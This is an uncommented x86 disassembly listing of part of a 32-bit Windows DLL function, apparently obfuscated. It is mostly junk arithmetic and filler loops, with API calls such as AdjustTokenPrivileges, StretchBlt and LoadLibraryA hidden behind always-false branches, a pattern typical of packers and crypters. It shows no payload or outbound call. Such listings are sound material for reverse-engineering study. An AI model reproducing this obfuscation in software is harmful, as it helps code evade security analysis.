cmp eax, dword [ebp - 0x38]
jne 0x1003629b
xor eax, eax
mov ecx, eax
cmp dword [ebp - 0x44], eax
je 0x1003629d
mov ecx, esi
mov eax, dword [ebp - 0x38]
imul eax, dword [ebp - 0x20]
imul eax, ecx
mov dword [ebp - 0x364], eax
mov dword [ebp - 0x8a4], eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x44], 0
je 0x100362f0
mov eax, dword [ebp - 0x8a4]
xor ecx, ecx
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x34]
cmp eax, 0xb128
mov eax, dword [ebp - 0x364]
setle cl
xor edx, edx
cmp eax, ecx
mov eax, dword [ebp - 0x358]
setge dl
imul eax, edx
test eax, eax
je 0x100362f0
mov edx, esi
jmp 0x100362f2
xor edx, edx
mov eax, dword [ebp - 0x38]
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x3c]
push 0
sete cl
xor edx, edx
cmp ecx, eax
pop ecx
setl dl
sub edx, 0x7e38f946
neg edx
sbb edx, edx
inc edx
sets cl
xor eax, eax
add ecx, dword [ebp - 0x44]
imul ecx, dword [ebp - 0x358]
cmp ecx, 0xfffffff8
setl al
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x35c]
mov ecx, dword [ebp - 0x44]
sub ecx, eax
neg ecx
sbb ecx, ecx
inc ecx
mov dword [ebp - 0x20], ecx
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x3c], 5
mov dword [ebp - 0x28], 0xce3e
mov dword [ebp - 0x44], 0xcb1a
mov dword [ebp - 0x3c], 0x733147f5
mov dword [ebp - 0x3c], 9
mov dword [ebp - 0x34], 0xaafa0b2b
mov dword [ebp - 0x10], 0
jmp 0x10036386
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x398], 0xfffb
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], edi
jl 0x10036375
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x394]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x394]
mov eax, dword [ebp - 0x394]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x398]
mov eax, dword [ebp - 0x394]
mov eax, dword [ebp - 0x394]
mov eax, dword [ebp - 0x394]
mov dword [ebp - 0x3c], eax
xor eax, eax
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], 0x11
jle 0x10036473
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x3c], esi
mov dword [ebp - 0x3c], 7
mov dword [ebp - 0x34], 0xfffffffa
mov dword [ebp - 0x10], eax
jmp 0x10036402
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x670], esi
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], esi
jl 0x100363f5
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 0
je 0x10036416
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x390]
cmp dword [ebp - 0x670], eax
jle 0x10036427
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x44]
xor edx, edx
mov dword [ebp - 0x3c], ebx
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x3c], 0x5609
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x3c], eax
mov ecx, dword [ebp - 0x394]
mov eax, dword [ebp - 0x28]
cmp ecx, eax
mov eax, dword [ebp - 0x3c]
setle dl
xor ecx, ecx
cmp eax, edx
push 0
setne cl
mov dword [ebp - 0x34], ecx
inc dword [ebp - 0x44]
cmp dword [ebp - 0x44], 0x11
pop eax
jg 0x100363dc
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], esi
jge 0x10036493
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x424], 0xb8eb5ea2
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x1003647b
xor eax, eax
mov dword [ebp - 0x1c], 0x469ad59e
mov dword [ebp - 0x3c], 0x9a46bb21
mov dword [ebp - 0x48], 0xc59458d8
mov dword [ebp - 0x48], esi
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], esi
jge 0x100364c7
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x88], esi
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jl 0x100364b3
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 2
jge 0x100364e9
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xa14], 0xafd208dd
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 2
jl 0x100364d0
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], edi
jge 0x10036509
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x1494], 0x5bcd
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edi
jl 0x100364f1
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], eax
jg 0x10036667
jmp 0x10036519
xor eax, eax
mov dword [ebp - 0x10], 0xffffffff
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], edi
jge 0x10036540
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xcc8], 0x59653e3f
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x10036528
xor eax, eax
mov dword [ebp - 0x14], eax
jmp 0x10036556
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xeb4], 0xb5a26cde
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x10036545
mov eax, dword [ebp - 0x1c]
xor ebx, ebx
cmp dword [ebp + eax*4 - 0x88], ebx
je 0x100365c9
mov eax, dword [ebp - 0x1c]
cmp dword [ebp + eax*4 - 0x88], ebx
jne 0x100365bb
mov eax, dword [ebp - 0x1c]
cmp dword [ebp + eax*4 - 0x88], 0xffffffff
jb 0x1003658d
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x88]
mov eax, dword [ebp - 0x1c]
xor ecx, ecx
mov eax, dword [ebp + eax*4 - 0x88]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x88]
cmp eax, esi
mov eax, dword [ebp - 0x1c]
setg cl
imul ecx, dword [ebp + eax*4 - 0x88]
test ecx, ecx
jne 0x100365bb
xor eax, eax
jmp 0x100365bd
mov eax, esi
cmp eax, dword [ebp - 0x88]
je 0x100365c9
mov ecx, esi
jmp 0x100365cb
xor ecx, ecx
mov eax, dword [ebp - 0x1c]
cmp ecx, 0xcadfb1af
mov edx, dword [ebp + eax*4 - 0x88]
sbb eax, eax
add eax, 0xffff0002
xor ecx, ecx
add edx, eax
mov eax, dword [ebp - 0x88]
cmp edx, eax
setle cl
xor eax, eax
cmp eax, ecx
sbb eax, eax
xor ecx, ecx
inc eax
cmp eax, 0x220985a9
mov eax, dword [ebp - 0x1c]
setne cl
add eax, ecx
mov dword [ebp - 0xcc0], eax
xor eax, eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], eax
jl 0x1003665b
mov dword [ebp - 0x40], 0xfb389fa1
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0xeb4], eax
mov eax, dword [ebp - 0x88]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0xcc0]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x40], 0x6042c8cd
cmp dword [ebp - 0x3c], ebx
jne 0x10036659
dec dword [ebp - 0x10]
jns 0x10036617
xor eax, eax
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], eax
jle 0x10036517
mov eax, dword [ebp - 0x3c]
cmp dword [ebp - 0x1c], eax
jne 0x100366c1
mov dword [ebp - 0x30], 0x5c00d4b
mov dword [ebp - 0x14], 0
jmp 0x10036690
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x1584], 0xfa755584
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x1003667f
mov dword [ebp - 0x14], 0
jmp 0x100366af
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xf0c], 0x3fa8726a
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x1003669e
inc dword [ebp - 0xf04]
xor eax, eax
jmp 0x10036747
mov dword [ebp - 0x10], 0x1e1d
xor eax, eax
mov dword [ebp - 0x34], 7
mov byte [ebp - 0x21], al
cmp byte [ebp - 0x21], al
je 0x100366f0
push 0x1abe
push 0x1e4c
push eax
push 0x264b
push eax
call dword [sym.imp.SHELL32.dll_SHGetFileInfoW]
mov eax, dword [ebp - 0x10]
add eax, dword [ebp - 0x10]
cmp eax, dword [ebp - 0xa10]
jg 0x10036701
mov eax, dword [ebp - 0x3c]
cmp dword [ebp - 0x10], 0xfffffffc
je 0x10036711
cmp dword [ebp - 0x10], 0
je 0x10036711
mov eax, esi
jmp 0x10036713
xor eax, eax
add eax, 0xaa7a
cmp eax, dword [ebp - 0x1c]
je 0x10036727
cmp dword [ebp - 0x10], 0
je 0x10036727
mov edx, esi
jmp 0x10036729
xor edx, edx
mov eax, dword [ebp - 0xa10]
xor ecx, ecx
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x48]
cmp eax, edx
setg cl
mov dword [ebp - 0x48], ecx
mov eax, dword [ebp - 0x48]
xor eax, eax
mov dword [ebp - 0x34], eax
push 4
mov dword [ebp - 0x14], eax
pop ecx
cmp dword [ebp - 0x14], ecx
jge 0x10036768
xor ebx, ebx
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x7a4], ebx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jl 0x10036754
xor eax, eax
mov dword [ebp - 0x2c], 0x9c17633e
mov dword [ebp - 0x34], 0xc2a4
mov dword [ebp - 0x58], eax
push 2
mov dword [ebp - 0x1c], eax
pop edi
cmp dword [ebp - 0x1c], edi
jge 0x1003679c
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xd9c], 0x5cefd06
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edi
jl 0x10036784
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ecx
jge 0x100367bc
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x8bc], 0xfffffffb
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ecx
jl 0x100367a4
xor eax, eax
push 3
mov dword [ebp - 0x1c], eax
pop ebx
cmp dword [ebp - 0x1c], ebx
jge 0x100367df
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x1124], 0xc87778e1
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jl 0x100367c7
xor eax, eax
cmp dword [ebp - 0x2c], eax
jne 0x10036884
mov eax, dword [ebp - 0x2c]
xor edx, edx
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0xd9c], ecx
mov eax, dword [ebp - 0x2c]
cmp ecx, eax
mov eax, dword [ebp - 0x2c]
setl dl
xor ecx, ecx
dec edx
cmp edx, eax
mov eax, dword [ebp - 0x8b8]
setge cl
sub ecx, eax
mov eax, dword [ebp - 0x8bc]
sub ecx, eax
mov eax, dword [ebp - 0x2c]
add eax, ecx
cmp eax, dword [ebp - 0x2c]
jne 0x1003682a
xor eax, eax
cmp dword [ebp - 0x2c], eax
je 0x1003682c
mov eax, esi
lea ecx, [eax + 1]
xor edx, edx
mov eax, dword [ebp - 0x8b8]
cmp ecx, eax
mov eax, dword [ebp - 0x2c]
setge dl
sub eax, edx
neg eax
sbb eax, eax
inc eax
sub eax, dword [ebp - 0x8b8]
mov ecx, dword [ebp - 0x8b8]
neg eax
sbb eax, eax
inc eax
imul ecx, eax
mov eax, dword [ebp - 0x2c]
imul eax, ecx
test eax, eax
je 0x1003686e
cmp dword [ebp - 0x34], 0
je 0x1003686e
mov edx, esi
jmp 0x10036870
xor edx, edx
mov eax, dword [ebp - 0x2c]
xor ecx, ecx
cmp edx, eax
setle cl
mov dword [ebp - 0x1120], ecx
test ecx, ecx
je 0x10036886
mov ecx, esi
mov eax, dword [ebp - 0x2c]
xor edx, edx
cmp eax, ecx
mov eax, dword [ebp - 0x2c]
setle dl
xor ecx, ecx
cmp edx, eax
setle cl
mov dword [ebp - 0x58], ecx
mov eax, dword [ebp - 0x4c]
inc eax
je 0x100368a6
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x4c]
xor ecx, ecx
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x4c]
cmp ecx, eax
mov eax, dword [ebp - 0x4c]
sbb ecx, ecx
xor edx, edx
inc ecx
cmp ecx, eax
mov eax, dword [ebp - 0x4c]
setle dl
xor ecx, ecx
cmp eax, edx
setle cl
imul ecx, dword [ebp - 0x4c]
imul ecx, dword [ebp - 0x4c]
neg ecx
sbb ecx, ecx
xor eax, eax
neg ecx
mov dword [ebp - 0x28], ecx
mov ecx, eax
cmp dword [ebp - 0x28], eax
je 0x100368ef
mov ecx, esi
mov eax, dword [ebp - 0x424]
imul eax, ecx
push 0xfffffffffffffffb
pop ecx
mov dword [ebp - 0x79c], eax
xor eax, eax
mov dword [ebp - 0x30], 0xc05baf43
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x30], 0xffffffff
mov dword [ebp - 0x30], esi
mov dword [ebp - 0x30], 0xffffffff
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], esi
jge 0x1003693d
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x68c], ecx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x10036929
xor eax, eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], edi
jge 0x1003695c
push 4
pop ecx
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x77c], ecx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x10036948
xor eax, eax
dec dword [ebp - 0x77c]
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], eax
jg 0x10036a18
mov dword [ebp - 0x34], 0xfffffff6
mov dword [ebp - 0x58], 0xffffffff
mov dword [ebp - 0x10], eax
jmp 0x10036992
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x122c], 0xaf0a9b27
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jl 0x10036981
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x122c], eax
mov eax, dword [ebp - 0x68c]
mov eax, dword [ebp - 0x77c]
mov dword [ebp - 0x58], eax
mov byte [ebp - 0x21], 0
cmp byte [ebp - 0x21], 0
je 0x10036a08
push 0x1724
push 0x102b
push 0x1762
push 0x1e48
push 0x1ddf
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
push 0x1067
push 0xdd5
push 0x1d7a
push 0x269f
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_StretchBlt]
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 0
push 0
pop eax
jle 0x1003696e
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x4c], eax
push 8
pop edx
cmp dword [ebp - 0x4c], ebx
jg 0x1003752c
jmp 0x10036a32
push 8
pop edx
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], ebx
jge 0x10036a51
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x113c], edx
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jl 0x10036a3d
xor eax, eax
mov dword [ebp - 0x14], eax
jmp 0x10036a6c
mov byte [ebp - 0x21], al
cmp byte [ebp - 0x21], 0
je 0x10036a69
push eax
push eax
call dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
xor eax, eax
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jle 0x10036a56
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ebx
jge 0x10036a92
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x113c], 0x9532bb11
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x10036a7a
xor eax, eax
mov dword [ebp - 0x38], 0xffffffff
mov dword [ebp - 0x3c], 0x1e94
mov dword [ebp - 0x10], 0xf6b8f3d4
mov dword [ebp - 0x10], eax
jmp 0x10036abd
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0xb38], 0xffffffff
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jl 0x10036aac
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x10036ae7
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0xb38]
inc eax
cmp dword [ebp - 0x10], eax
jge 0x10036ae7
mov eax, esi
jmp 0x10036ae9
xor eax, eax
xor edx, edx
cmp eax, 0xfffffffc
mov eax, dword [ebp - 0xb34]
sete dl
xor ecx, ecx
imul edx, eax
mov eax, dword [ebp - 0x3c]
cmp edx, eax
setle cl
xor eax, eax
mov dword [ebp - 0xb38], ecx
mov byte [ebp - 0x21], al
cmp byte [ebp - 0x21], al
je 0x10036b22
push 0x3be
push eax
call dword [sym.imp.KERNEL32.dll_IsValidLocale]
xor eax, eax
mov dword [ebp - 0x28], ebx
cmp dword [ebp - 0x28], eax
jl 0x1003751d
mov dword [ebp - 0x10], 0xffffffff
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], ebx
jge 0x10036b51
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x14ac], esi
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jl 0x10036b3d
xor eax, eax
mov dword [ebp - 0x10], eax
jmp 0x10036b74
mov byte [ebp - 0x21], al
cmp byte [ebp - 0x21], 0
je 0x10036b71
push eax
push eax
push 0x37f
push eax
push eax
push eax
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
xor eax, eax
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 2
jle 0x10036b56
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x4a0], 0x286e
mov dword [ebp - 0x49c], 0x286e
mov dword [ebp - 0x498], 0x286e
mov dword [ebp - 0x494], 0x286e
mov dword [ebp - 0x3c], 0x5734
mov dword [ebp - 0x48], 0xffffffff
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 2
jge 0x10036bd5
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0xf38], 0xfffffffc
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 2
jl 0x10036bbc
xor eax, eax
mov dword [ebp - 0x14], 0xffffffe4
jmp 0x10036c15
mov dword [ebp - 0x10], 0xfffffffd
mov dword [ebp - 0x10], ebx
cmp dword [ebp - 0x10], eax
jl 0x10036c12
mov eax, dword [ebp - 0x10]
xor ebx, ebx
cmp dword [ebp + eax*4 - 0x4a0], ebx
jne 0x10036c0d
xor eax, eax
mov byte [ebp - 0x21], al
cmp byte [ebp - 0x21], al
je 0x10036c08
push eax
call edi
dec dword [ebp - 0x10]
jns 0x10036bed
push 3
xor eax, eax
pop ebx
dec dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0xffffffe2
je 0x10036bde
mov eax, dword [ebp - 0x4a0]
mov dword [ebp - 0x14], eax
xor eax, eax
cmp dword [ebp - 0x49c], eax
je 0x10036c49
cmp dword [ebp - 0x14], eax
je 0x10036c3e
mov eax, dword [ebp - 0x494]
mov eax, dword [ebp - 0x3c]
xor eax, eax
cmp dword [ebp - 0x4a0], eax
jle 0x10036c49
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x494]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x3c]
xor eax, eax
cmp dword [ebp - 0x3c], eax
jne 0x10036c64
cmp dword [ebp - 0x4a0], eax
je 0x10036c66
mov eax, esi
mov dword [ebp - 0x48], eax
xor ecx, ecx
mov eax, dword [ebp - 0x48]
imul eax, dword [ebp - 0x4a0]
mov dword [ebp - 0xf38], eax
mov eax, dword [ebp - 0x38]
cmp eax, 0x7606e82a
mov eax, dword [ebp - 0x38]
setl cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x4c]
setle dl
xor ecx, ecx
mov eax, dword [ebp + eax*4 - 0x7a4]
cmp eax, edx
mov eax, dword [ebp - 0x38]
setne cl
cmp ecx, 0xb45c761b
sbb ecx, ecx
neg ecx
sub eax, ecx
jne 0x10036cb5
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x28]
xor ecx, ecx
mov edx, dword [ebp + eax*4 - 0x7a4]
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp + eax*4 - 0x7a4]
cmp eax, edx
setg cl
cmp ecx, dword [ebp - 0x424]
jg 0x10036f7a
mov dword [ebp - 0x40], 0x9725245f
mov dword [ebp - 0x44], 0x12f3
mov dword [ebp - 0x3c], 0x3f5e3d1a
push 8
pop eax
mov dword [ebp - 0x20], eax
xor eax, eax
mov dword [ebp - 0x14], 0xb364fef5
mov dword [ebp - 0x2c], 0x8e1ce43c
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x10], 0xfffffffb
mov dword [ebp - 0x30], 0x8d378b36
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ebx
jge 0x10036d38
mov dword [ebp - 0x58], 0xf1a969ac
xor eax, eax
mov dword [ebp - 0x34], 0x7f4a7d2a
mov dword [ebp - 0x30], 0xfffffff6
mov dword [ebp - 0x30], 0x1dda87b8
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ebx
jge 0x10036fbb
inc dword [ebp - 0x4c]
push 0
pop eax
cmp dword [ebp - 0x4c], ebx
jle 0x10036a2f
mov dword [ebp - 0x4c], 0x15de
mov dword [ebp - 0x28], esi
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], esi
jge 0x10037556
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x468], 0xb8eb5ea2
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x1003753e
xor eax, eax
push 4
mov dword [ebp - 0x14], eax
pop ecx
cmp dword [ebp - 0x14], ecx
jge 0x10037578
xor ebx, ebx
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x7c4], ebx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jl 0x10037563
push 3
pop ebx
mov eax, dword [ebp - 0x4c]
inc eax
je 0x10037581
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x4c]
xor ecx, ecx
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x4c]
cmp ecx, eax
mov eax, dword [ebp - 0x4c]
sbb ecx, ecx
xor edx, edx
inc ecx
cmp ecx, eax
mov eax, dword [ebp - 0x4c]
setle dl
xor ecx, ecx
cmp eax, edx
setle cl
imul ecx, dword [ebp - 0x4c]
imul ecx, dword [ebp - 0x4c]
neg ecx
sbb ecx, ecx
xor eax, eax
neg ecx
mov dword [ebp - 0x28], ecx
mov ecx, eax
cmp dword [ebp - 0x28], eax
je 0x100375ca
mov ecx, esi
mov eax, dword [ebp - 0x468]
imul eax, ecx
mov dword [ebp - 0x7bc], eax
xor eax, eax
mov dword [ebp - 0x4c], eax
jmp 0x100376af
mov dword [ebp - 0x10], 0xffffffff
mov dword [ebp - 0x28], ebx
cmp dword [ebp - 0x28], eax
jl 0x100376ac
mov eax, dword [ebp - 0x10]
xor ecx, ecx
cmp eax, 0x7606e82a
mov eax, dword [ebp - 0x10]
setl cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x4c]
setle dl
xor ecx, ecx
mov eax, dword [ebp + eax*4 - 0x7c4]
cmp eax, edx
mov eax, dword [ebp - 0x10]
setne cl
cmp ecx, 0xb45c761b
sbb ecx, ecx
neg ecx
sub eax, ecx
jne 0x10037632
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x28]
xor ecx, ecx
mov edx, dword [ebp + eax*4 - 0x7c4]
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp + eax*4 - 0x7c4]
cmp eax, edx
setg cl
cmp ecx, dword [ebp - 0x468]
jg 0x1003766b
mov dword [ebp - 0x34], 0xb9cec02d
mov ecx, dword [ebp - 0x34]
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0x7c4], ecx
jmp 0x1003769e
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x40], 0x9bb643c8
inc dword [ebp - 0x40]
mov dword [ebp - 0x40], 0x17
cmp dword [ebp - 0x40], 0x15
jne 0x1003769e
xor ebx, ebx
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0x7c4], ebx
dec dword [ebp - 0x40]
cmp dword [ebp - 0x40], 0x15
je 0x1003768b
dec dword [ebp - 0x28]
jns 0x100375f6
push 3
xor eax, eax
pop ebx
inc dword [ebp - 0x4c]
cmp dword [ebp - 0x4c], ebx
jle 0x100375e3
mov dword [ebp - 0x4c], 0x15de
mov dword [ebp - 0x28], esi
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], esi
jge 0x100376e2
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x444], 0xb8eb5ea2
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x100376ca
xor eax, eax
push 4
mov dword [ebp - 0x14], eax
pop ecx
cmp dword [ebp - 0x14], ecx
jge 0x10037701
xor ebx, ebx
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x7e4], ebx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jl 0x100376ef
mov eax, dword [ebp - 0x4c]
inc eax
je 0x1003770a
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x4c]
xor ecx, ecx
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x4c]
cmp ecx, eax
mov eax, dword [ebp - 0x4c]
sbb ecx, ecx
xor edx, edx
inc ecx
cmp ecx, eax
mov eax, dword [ebp - 0x4c]
setle dl
xor ecx, ecx
cmp eax, edx
setle cl
imul ecx, dword [ebp - 0x4c]
imul ecx, dword [ebp - 0x4c]
neg ecx
sbb ecx, ecx
xor eax, eax
neg ecx
mov dword [ebp - 0x28], ecx
mov ecx, eax
cmp dword [ebp - 0x28], eax
je 0x10037753
mov ecx, esi
mov eax, dword [ebp - 0x444]
imul eax, ecx
push 3
pop ecx
mov dword [ebp - 0x7dc], eax
xor eax, eax
mov dword [ebp - 0x4c], eax
jmp 0x1003783b
mov dword [ebp - 0x10], 0xffffffff
mov dword [ebp - 0x28], ecx
cmp dword [ebp - 0x28], eax
jl 0x10037838
mov eax, dword [ebp - 0x10]
xor ecx, ecx
cmp eax, 0x7606e82a
mov eax, dword [ebp - 0x10]
setl cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x4c]
setle dl
xor ecx, ecx
mov eax, dword [ebp + eax*4 - 0x7e4]
cmp eax, edx
mov eax, dword [ebp - 0x10]
setne cl
cmp ecx, 0xb45c761b
sbb ecx, ecx
neg ecx
sub eax, ecx
jne 0x100377be
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x28]
xor ecx, ecx
mov edx, dword [ebp + eax*4 - 0x7e4]
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp + eax*4 - 0x7e4]
cmp eax, edx
setg cl
cmp ecx, dword [ebp - 0x444]
jg 0x100377f7
mov dword [ebp - 0x34], 0xb9cec02d
mov ecx, dword [ebp - 0x34]
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0x7e4], ecx
jmp 0x1003782a
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x40], 0x9bb643c8
inc dword [ebp - 0x40]
mov dword [ebp - 0x40], 0x17
cmp dword [ebp - 0x40], 0x15
jne 0x1003782a
xor ebx, ebx
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0x7e4], ebx
dec dword [ebp - 0x40]
cmp dword [ebp - 0x40], 0x15
je 0x10037817
dec dword [ebp - 0x28]
jns 0x10037782
push 3
xor eax, eax
pop ecx
inc dword [ebp - 0x4c]
cmp dword [ebp - 0x4c], ecx
jle 0x1003776f
mov dword [ebp - 0x3d4], ecx
mov ebx, 0x4d39d982
mov dword [ebp - 0x3d0], ecx
mov dword [ebp - 0x3cc], ecx
mov dword [ebp - 0x3c8], ecx
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x2c], 7
